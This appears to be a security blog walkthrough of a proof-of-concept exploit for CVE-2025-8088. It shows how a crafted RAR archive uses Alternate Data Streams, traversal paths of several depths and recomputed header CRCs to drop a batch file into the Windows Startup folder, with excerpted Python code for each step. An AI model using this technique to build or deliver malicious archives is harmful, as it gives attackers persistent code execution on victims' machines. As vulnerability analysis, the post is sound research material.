
CVE-2025-8088
Disclaimer: This content is for educational and research purposes only. Do not use this information for any malicious activities.
Today, we're taking a deep dive into a fascinating path traversal vulnerability, tracked as CVE-2025-8088. This vulnerability allows an attacker to write an arbitrary file to any location on a victim's system when they extract a specially crafted RAR archive. What makes this particular exploit interesting is its "shotgun" approach to ensure successful payload delivery, regardless of where the user extracts the archive.
This post will break down the technique used in the provided Python Proof-of-Concept (PoC) to craft the malicious .rar file.
The end goal of this PoC is classic and effective: persistence. By exploiting the path traversal vulnerability, the exploit aims to drop a payload (payload.bat) into the Windows Startup folder (AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup). Any executable or script placed here will automatically run the next time the user logs in, granting the attacker persistent access.
The Python script automates a multi-step process to build the final exploit.rar. Let's walk through its logic.
The first thing the script does is prepare the components:
payload.bat is created. This is the malicious file we want to drop onto the victim's machine.PAYLOAD = "@echo off\necho Payload executed!\npause\n"
file1.txt, file2.txt, etc.). These files serve two purposes: they make the archive look legitimate, and more importantly, they act as carriers for our hidden payload.def create_files() -> Tuple[List[Path], Path]:
# ...
for i in range(NUM_DEPTHS):
decoy = Path(f"{DECOY_FILE_PREFIX}{i+1}.txt")
" X " * 200) is defined. This placeholder will be embedded into the archive's metadata and later replaced with our malicious path.This is a key part of the technique. Instead of naming a file with a traversal path, the script uses a feature of the NTFS file system called Alternate Data Streams (ADS). ADS allows you to "hide" data within an existing file.
The script attaches the payload.bat as an ADS to each decoy file. The name of this stream is where the placeholder is used. In essence, it creates file paths that look like this to the file system:
file1.txt:XXXXXXXXXXXXXXXXXXXX...
The content of payload.bat is now secretly stored inside file1.txt.
def attach_ads(decoy: Path, placeholder: str):
"""Attach payload to decoy as Alternate Data Stream"""
ads_path = f"{decoy}:{placeholder}"
with open(ads_path, "wb") as f:
f.write(Path("payload.bat").read_bytes())
Next, the script finds the Rar.exe command-line tool on the system and uses it to create a legitimate base archive (base.rar). This archive contains all the decoy files, which now secretly carry the payload in their Alternate Data Streams.
At this point, base.rar is a perfectly valid, non-malicious archive. WinRAR can extract it without any issue, and it will create the decoy files with their long, strange ADS names.
def create_base_rar(rar_exe: str, decoys: List[Path]) -> Path:
# ...
subprocess.run(
f'"{rar_exe}" a -ep -os "{base_rar}" {files}',
# ...
)
Here's where the exploit gets clever and resilient. The attacker doesn't know where the victim will extract the archive. Will it be C:\Users\victim\Downloads? C:\? D:\Temp?
To overcome this uncertainty, the script generates a list of different path traversal strings, each with a different depth:
..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.batThe idea is that by providing multiple depths, at least one of them will successfully navigate from the extraction directory back to the file system's root (like C:\) and then into the target Startup folder.
def build_relative_paths() -> List[str]:
"""Generate paths with different traversal depths"""
paths = []
for depth in range(1, NUM_DEPTHS + 1):
paths.append(("..\\" * depth) + RELATIVE_DROP_PATH)
return paths
This is the heart of the exploit. The script opens base.rar in binary mode and performs surgery on it.
It iterates through the archive's internal structure, looking for the header of each file (file1.txt, file2.txt, etc.). Inside each header, it finds the placeholder ADS name (:XXXXXXXXXXXXXXXXXXXX...) and replaces it with one of the malicious traversal paths generated in the previous step.
file1.txt gets the path with ..\.file2.txt gets the path with ..\..\.def patch_rar(base_rar: Path, placeholder: str, relative_paths: List[str]) -> Path:
# ...
while pos + 4 <= len(data) and current_file_index < len(target_paths_utf8):
# ...
# Find the placeholder and replace it with the target path
c = patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)
# ...
Simply changing the header data would corrupt the archive. WinRAR uses a CRC32 checksum to verify the integrity of each header block. If the checksum doesn't match the header content, it will throw an error.
The PoC anticipates this. After patching a header with the malicious path, it recalculates the correct CRC32 checksum for the entire modified header block and writes the new checksum back into the file. This makes the tampered archive appear perfectly valid to WinRAR.
def rebuild_all_header_crc(buf: bytearray) -> int:
"""Recalculate CRC checksums for all headers"""
# ...
while pos + 4 <= len(buf):
# ...
# Calculate CRC for the header region
region = buf[block_start + 4:header_end]
crc = zlib.crc32(region) & 0xFFFFFFFF
# Write the new CRC back into the buffer
struct.pack_into("<I", buf, block_start, crc)
# ...